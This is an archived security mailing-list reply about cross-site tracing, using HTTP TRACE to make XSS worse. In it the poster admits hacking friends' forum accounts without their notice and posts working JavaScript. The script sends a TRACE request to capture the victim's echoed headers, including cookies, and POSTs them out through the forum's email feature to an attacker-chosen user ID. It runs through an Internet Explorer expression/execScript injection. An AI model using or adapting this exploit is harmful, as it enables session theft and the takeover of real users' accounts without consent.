[VulnDiscuss] Re: TRACE used to increase the dangerous of XSS.

"Phrack" <[email protected]>
Newsgroups gmane.comp.security.vulnerabilities.watch.general
Message-ID <000901c2c345$1c60f070$1d00a8c0__17544.4742003039$1043415169@chenhaiyan>
It's really a terrible security hole.  Using this method, I have hacked some BBS account of my friends. If you do it properly, it wouldn't be noticed by victim. The following is my code:

<script type="text/javascript">

function xssDomainTraceRequest(){

  var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.open(\"TRACE\",\"http://bbs.for.bar\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;xmlHttp.open(\"POST\",\"http://bbs.for.bar/member.php\",false)\;xmlHttp.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\")\;xmlHttp.send(\"s=&action=emailmessage&userid=11111&subject=test&message=\" + xmlDoc)\;";

  var target = "http://bbs.for.bar";

  cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
  var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))';
  showModalDialog(target, null, readyCode);
}
</script>

<script>
xssDomainTraceRequest();
</script>

Chen haiyan, CISSP
System Security Engineer
HENAN CFONLINE COMMERCE CO., LTD.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.